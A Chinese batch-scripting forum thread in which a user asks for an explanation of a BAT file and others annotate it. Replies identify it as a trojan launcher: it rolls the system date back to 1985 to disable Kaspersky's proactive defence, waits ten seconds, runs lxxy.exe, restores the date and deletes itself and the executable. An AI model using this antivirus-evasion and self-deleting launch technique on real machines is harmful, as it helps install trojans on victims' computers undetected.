中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-06 17:10
48,039 主题排行 / 350,124 发帖 / 今日 0 篇 / 48,251 会员排行
DOS批处理 & 脚本技术(批处理室) » 请帮忙翻译一个 BAT 文件
可打印版本  666 / 2
第1楼 wuyin 发表于 2007-11-30 16:01
新手上路 发帖 1 积分 4
请帮忙翻译一个 BAT 文件
@echo off \\下面运行不可见\\
setlocal enableextensions \\在本批处理中启用命令扩展\\
set last_date=%date:~0,10%
date 1985-10-24
echo WScript.Sleep 1000 > %systemroot%/temp/lxxy.vbs
set /a i = 10
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo %systemroot%/temp/lxxy.vbs
goto Timeout \\回到 Timeout 行\\
:Next \\下一行
%systemroot%/temp/lxxy.exe \\运行程序 lxxy.exe\\
date %last_date%
date %last_date%
del c:\lxxy.exe /f/s/q/a
del %0

我只知道头两句的准确意思 ,后面的就不知道,谁能给详细解释下,
谢谢
第2楼 lxmxn 发表于 2007-11-30 16:08
版主 发帖 4,938 积分 11,386
@echo off \\下面运行不可见\\
setlocal enableextensions \\在本批处理中启用命令扩展\\
set last_date=%date:~0,10% \\将当前日期(变量%date%前10个字符)赋值给last_date
date 1985-10-24 \\修改当前日期
echo WScript.Sleep 1000 > %systemroot%/temp/lxxy.vbs \\写内容到文件
set /a i = 10 \\变量i初始化
:Timeout \\设置标签
if %i% == 0 goto Next \\如果i的值为0,跳转到Next标签
setlocal
set /a i = %i% - 1 \\变量i的值减一
cscript //nologo %systemroot%/temp/lxxy.vbs \\调用vbs脚本
goto Timeout \\回到 Timeout 行\\
:Next \\下一行
%systemroot%/temp/lxxy.exe \\运行程序 lxxy.exe\\
date %last_date% \\恢复日期
del c:\lxxy.exe /f/s/q/a \\删除C盘下所有的lxxy.exe文件
del %0 \\自灭
第3楼 zerocq 发表于 2007-11-30 16:50
中级用户 发帖 196 积分 458
先记录当前时间,然后把日期修改成1985-10-24

接着循环10次,每次等待1秒,循环完毕正好延时10秒.卡巴斯基的主动防御失效

运行木马注入进程
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023